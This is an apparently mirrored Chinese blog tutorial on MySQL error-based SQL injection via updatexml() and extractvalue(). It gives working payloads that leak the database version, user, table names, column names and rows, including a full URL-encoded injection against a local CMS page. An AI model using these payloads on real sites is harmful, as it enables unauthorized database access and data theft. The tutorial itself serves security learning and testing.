zoukankan      html  css  js  c++  java
  • MYSQL updatexml报错注入

    updatexml()函数

    updataxml()函数用法

    UPDATEXML (XML_document, XPath_string, new_value);

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc


    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
    第三个参数:new_value,String格式,替换查找到的符合条件的数据
    作用:改变文档中符合条件的节点

    updatexml报错注入用法

    1.爆出数据库的版本信息

    and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

    因为concat()是将其连接成一个字符串,不符合xpath_string格式,会出现格式错误而报错,并会爆出 2.爆出连接用户

    and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

    3.链接数据库

    and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

    4.爆表

    and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0)
    and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=数据库的十六进制表示 limit 0,1) ,0x7e),1)
    and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=0x7868 limit 0,1) ,0x7e),1)

    5.爆列名

    http://localhost/xhcms/index.php?r=content&cid=1%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=0x7868%20and%20table_name=%200x6164776F7264%20limit%202,1),0x7e),1)
    and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=库的十六进制表示%20and%20table_name=表的十六进制表示%20limit%202,1),0x7e),1)

    6.查数据

    and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),1)

    extractvalue函数

    ExtractValue(xml_frag, xpath_expr)
    ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

    第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

    例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

     利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

    作者:拾瑾
    个性签名:愿历经千帆,归来仍少年.
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利.
  • 相关阅读:
    LaunchScreen.storyboard 换了图片 不能更改过来 解决方案
    iOS Google 地图 集成详解
    Mac下 使用git clone 代码慢解决方案
    iOS 函数式编程
    iOS [self class] 、 [self superclass]、 [super class] 、[super superclass] 几种情况对比
    iOS 链式编程-Block 作为放回值
    iOS block的变量捕获(capture)
    iOS Block本质探究
    iOS 读写操作 处理 pthread_rwlock dispatch_barrier_async
    iOS atomic 和 nonatomic 区别
  • 原文地址:https://www.cnblogs.com/ayoung/p/14465609.html
Copyright © 2011-2022 走看看